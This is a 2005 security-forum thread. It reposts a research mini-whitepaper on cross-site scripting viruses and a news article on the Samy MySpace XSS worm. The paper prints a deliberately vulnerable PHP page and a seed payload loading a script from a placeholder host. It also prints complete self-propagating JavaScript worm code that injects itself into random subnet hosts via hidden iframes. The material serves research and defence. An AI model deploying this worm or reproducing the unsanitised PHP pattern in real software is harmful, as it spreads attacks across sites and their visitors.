Waraxe IT Security Portal  
  Login or Register
::  Home  ::  Search  ::  Your Account  ::  Forums  ::   Waraxe Advisories  ::  Tools  ::
March 28, 2024
Menu
 Home
 Logout
 Discussions
 Forums
 Members List
 IRC chat
 Tools
 Base64 coder
 MD5 hash
 CRC32 checksum
 ROT13 coder
 SHA-1 hash
 URL-decoder
 Sql Char Encoder
 Affiliates
 y3dips ITsec
 Md5 Cracker
 User Manuals
 AlbumNow
 Content
 Content
 Sections
 FAQ
 Top
 Info
 Feedback
 Recommend Us
 Search
 Journal
 Your Account



User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9145

People Online:
Visitors: 584
Members: 0
Total: 584
PacketStorm News
·301 Moved Permanently

read more...
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> The Cross-site Scripting Virus / Cross-Site Scripting Worm
Post new topic  Reply to topic View previous topic :: View next topic 
The Cross-site Scripting Virus / Cross-Site Scripting Worm
PostPosted: Fri Oct 14, 2005 2:20 pm Reply with quote
LINUX
Moderator
Moderator
 
Joined: May 24, 2004
Posts: 404
Location: Caiman




Code:
The Cross-site Scripting Virus
Wade Alcorn
wade@bindshell.net
http://www.bindshell.net
Mini-Whitepaper

Last Edited: 28th September 2005
Version: 1.0.10

Copyright (c) 2005 Wade Alcorn
All Rights Reserved Worldwide

Abstract
This paper explores the new threat of cross-site scripting (XSS) viruses. To date, cross site scripting has never been utilised to generate viruses. These viruses are a new species which are platform independent and not affected by common firewall configurations. XSS viruses could have a significant impact for Internet continuity, including distributed denial of service (DDOS) attacks, spam and dissemination of browser exploits. This is particularly relevant with the increasing sophistication of web browsers and the growing popularity of web based applications such as Wikis and Blogs.

Introduction
As an inevitable consequence of expanded web application functionality, security implications on various levels have increased. The appearance of XSS is one such security issue. This vulnerability allows code to be injected into web sites with the aim of being parsed and/or executed by web browsers.

Broadly, cross-site scripting can be divided into two areas: permanent and non-permanent. Non-permanent XSS is returned immediately and doesn't remain on the server. Alternatively, permanent XSS will remain on the server and be returned to any browser requesting the injected page. This paper is particularly concerned with the permanent variety of XSS.

It is possible to inject self propagating XSS code into a web application and it will spread via client web browsers. This creates a symbiotic relationship between browser and application server. The code will reside on vulnerable web applications and be executed within the client web browser. This relationship is not necessarily one-to-one.

Proof of Concept
The following proof of concept demonstrates a XSS virus. The vulnerable environment created is an example scenario required for XSS viruses and does not show an exhaustive set of possible conditions. It illustrates permanent XSS within a web application. In this case, the vulnerability is exploitable via a get request, which allows a trivial virus to be created.

Initially an instance of the vulnerable web application will be seeded with the self-propagating code. When this code is executed by web browsers, it results in their infection. The infected web browsers connect to random sites and perform the exploiting get request. The injected code will, in turn, infect further vulnerable web applications with the self-propagating code.

The following crafted permanent XSS exploitable PHP page can be infected with a virus. The page accepts a parameter (param) value and writes it to a file (file.txt). This file is then returned in the request to the browser. The file will contain the previous value of the ?param? parameter. If no parameter is passed it will display the file without updating it.

Web Application: index.php

<?php
  $p=$HTTP_GET_VARS[?param?];
  $filename = ?./file.txt?;

  if ($p != ??) {
    $handle=fopen($filename, ?wb?);
    fputs($handle, $p);
    fclose($handle);
  }

  $handle = fopen($filename, ?r?);
  $contents = fread($handle, filesize($filename));
  fclose($handle);

  print $contents;
?>
This page (index.php) was hosted on multiple virtual servers within a 10.0.0.0/24 subnet. One web application instance was then seeded with the following code which retrieves a javascript file and executes it. Alternatively, it is possible to inject the entire code into the vulnerable applications rather than requesting a javascript file. For simplicity, a javascript file (xssv.jsp) was requested.

Injected Seed Code:

<iframe name=?iframex? id=?iframex? src=?hidden? style=?display:none?></iframe> <script SRC=?http://<webserver>/xssv.js?></script>
The javascript file that was requested in the example is shown below. Its self-propagation uses an iframe which is periodically reloaded using the loadIframe() function. The target site IP address of the iframe is selected randomly within the 10.0.0.0/24 subnet via the function get_random_ip(). The XSS virus uses a combination of these two functions and the continual periodic invocation using the setInterval() function.

Javascipt: xssv.jsp

function loadIframe(iframeName, url) {
  if ( window.frames[iframeName] ) {
    window.frames[iframeName].location = url;   
    return false;
  }
  else return true;
}

function do_request() {
  var ip = get_random_ip();
  var exploit_string = '<iframe name="iframe2" id="iframe2" src="hidden" style="display:none"></iframe> <script SRC="http://<webserver>/xssv.js"></script>';

  loadIframe('iframe2', "http://" + ip + "/index.php?param=" + exploit_string);
}

function get_random()
{
  var ranNum= Math.round(Math.random()*255);
  return ranNum;
}

function get_random_ip()
{
  return "10.0.0."+get_random();
}

setInterval("do_request()", 10000);
Viewing the seeded web application caused the browser to infect other web applications within the 10.0.0.0/24 subnet. This infection continued until some, but not all, applications were infected. At this point the browser was manually stopped. Another browser was then used to view one of the newly infected web applications. The virus then continued to infect the remaining uninfected web applications within the subnet.

This proof of concept shows that under controlled conditions, not dissimilar to a real world environment, a XSS virus can be self-propagating and infectious.

Conventional Virus Differences
Conventional viruses reside and execute on the same system. XSS viruses separate these two requirements in a symbiotic relationship between the server and the browser. The execution occurs on the client browser and the code resides on the server.

Platform indiscrimination also differentiates a XSS virus from its conventional counterparts. This is due to the encapsulation within HTML and the HTTP/HTTPS protocol. These standards are supported on most web browsers running on a variety of operating systems, making cross-site scripting viruses platform independent. This platform independence increases the number of potential web applications that can be infected.

Infection
Cross-site scripting virus infection occurs in two stages and usually on at least two devices. As such, there are two kinds of infections that work symbiotically.

The server is infected with persistent self-propagating code that it doesn't execute. The second stage is browser infection. The injected code is loaded from the site into the non-persistent web browser and executed. The execution then seeks new servers to be exploited and potentially executes its payload. Typically, there will be one infected server to many infected browsers.

Payload
Like conventional viruses, XSS viruses are capable of delivering payloads. The payloads will be executed in the browser and have the restriction of HTML compliant code. That is, the payload can perform HTML functions, including javascript.

Whilst this does pose limitations, XSS viruses are still capable of malicious activity. For example, the payload could deliver a DDOS attack, display spam or contain browser exploits. Future payload capability is likely to be greater due to increasing browser sophistication.

Disinfection
The relationship between the server and one browser can be broken by simply shutting down the browser. However, there is currently no means to prevent browser re-infection other than disabling browser functionality.

Potential disinfection methods will involve the referrer field from the request header. This is due to the fact that the referrer is likely to be logged on web servers where infection has been attempted. Thus, where referrer spoofing hasn't occurred, following the log files will reveal a trail back to the source of the virus.

Prevention
A common initial preventative to viral infection is a network level firewall. As HTTP/HTTPS protocols are afforded unvetted access through common firewall configurations, these firewall barriers are ineffectual. A potential remedy to this is an application firewall with the appropriate XSS virus signatures. Whilst unlikely, the most obvious way to prevent XSS viruses is to remove XSS vulnerabilities from web applications.

Conclusion
The infectious nature of XSS viruses has been demonstrated within a controlled environment. It was achieved through a purposely crafted vulnerable web application distributed across a subnet. This environment was subsequently infected.

XSS viruses are a new species. They distinguish themselves from their conventional cousins through the requirement for a server-client symbiotic relationship and their platform independence. These differences have both positive and negative influences on the virulence of infection.

This paper illustrates that XSS viruses are platform independent and capable of carrying out malicious functions. Whilst there are mitigating factors, these points coupled with the increasing sophistication of web browsers show the threat of XSS viruses. Proactive measures need to be taken in order to combat this threat, before XSS viruses become endemic.

References


Code:
Cross-Site Scripting Worm Hits MySpace
By Nate Mook, BetaNews
October 13, 2005, 6:28 PM
With the advent of social networking sites, becoming more popular is as easy as crafting a few lines of JavaScript code, it seems.

One clever MySpace user looking to expand his buddy list recently figured out how to force others to become his friend, and ended up creating the first self-propagating cross-site scripting (XSS) worm. In less than 24 hours, "Samy" had amassed over 1 million friends on the popular online community.


How did Samy transcend his humble beginnings of only 73 friends to become a veritable global celebrity? The answer is a combination of XSS tricks and lax security in certain Web browsers.

First, by examining the restrictions put into place by MySpace, Samy discovered how to insert raw HTML into his user profile page. But MySpace stripped out the word "javascript" from any text, which would be needed to execute code.

With the help of Internet Explorer, Samy was able to break the word JavaScript into two lines and place script code within a Cascading Style Sheet tag.

The next step was to simply instruct the Web browser to load a MySpace URL that would automatically invite Samy as a friend, and later add him as a "hero" to the visitor's own profile page. To do this without a user's knowledge, the code utilized XMLHTTPRequest - a JavaScript object used in AJAX, or Web 2.0, applications such as Google Maps.

Taking the hack even further, Samy realized that he could simply insert the entire script into the visiting user's profile, creating a replicating worm. "So if 5 people viewed my profile, that's 5 new friends. If 5 people viewed each of their profiles, that's 25 more new friends," Samy explained.

It didn't take long for friend requests to start rolling in - first in the hundreds, then thousands. By 9:30pm that night, requests topped one million and continued arriving at a rate of 1,000 every few seconds. Less than an hour later, MySpace was taken offline while the worm was removed from all user profiles.

Samy says his intentions weren't malicious, but expressed concern that MySpace, which was purchased by News Corp. in July for $580 million, wouldn't see it that way. Company officials have not contacted him, but his account was deleted.

"My primary motivation was to make people laugh. I wanted a few friends to have my name appended to their list of heroes, including some of their own friends whom I don't know directly," Samy told BetaNews in an e-mail interview. "Me, a hero? That had to be the funniest joke people have heard in a while. Well, a lot more people heard it than I had really wanted."

Still, aside from remnant "samy is my hero" text strewn across the Internet's fifth largest Web site, the end result could end up positive.

The worm has piqued the interest of a number of security professionals who say XSS is a major problem that many companies overlook. Google employee Evan Martin even broke down the worm's AJAX code on his personal Web log.

"Found in over 90 percent of Web sites, Cross-Site Scripting vulnerabilities are by far the most common security issue," Jeremiah Grossman, co-founder and CTO of WhiteHat Security, told BetaNews. "The incident with MySpace illustrates the dangers presented by XSS vulnerabilities and underscores the importance for organizations to fix these issues."

"Those who do not, especially the on-line financial institutions and community Web sites, are prime targets," added Grossman. But Samy noted that MySpace isn't the only party to blame for the vulnerability, stating that browser makers also need to do a better job with security.

"MySpace has always properly filtered out valid JavaScript indications," Samy said, "however it was due to browser leniencies that allowed me to still get JavaScript to execute


http://www.bindshell.net/papers/xssv.html

http://www.betanews.com/article/CrossSite_Scripting_Worm_Hits_MySpace/1129232391

powered by www.megasecurity.org
View user's profile Send private message Visit poster's website
PostPosted: Sat Oct 15, 2005 11:04 am Reply with quote
shai-tan
Valuable expert
Valuable expert
 
Joined: Feb 22, 2005
Posts: 477




Very nice man. Macro Virus's to XSS virus's Razz

_________________
Shai-tan

?In short: just say NO TO DRUGS, and maybe you won?t end up like the Hurd people.? -- Linus Torvalds
View user's profile Send private message
PostPosted: Sat Dec 24, 2005 3:22 pm Reply with quote
Pi3cH
Regular user
Regular user
 
Joined: Dec 15, 2005
Posts: 7




xss virus! cool Smile

it's act like others viruses with many limitation and also many future (platform independent, depend on 2 side)

thanks LINUX
View user's profile Send private message
The Cross-site Scripting Virus / Cross-Site Scripting Worm
  www.waraxe.us Forum Index -> Cross-site scripting aka XSS
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT  
Page 1 of 1  

  
  
 Post new topic  Reply to topic  




Powered by phpBB © 2001-2008 phpBB Group






Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2020 Janek Vind "waraxe"
Page Generation: 0.168 Seconds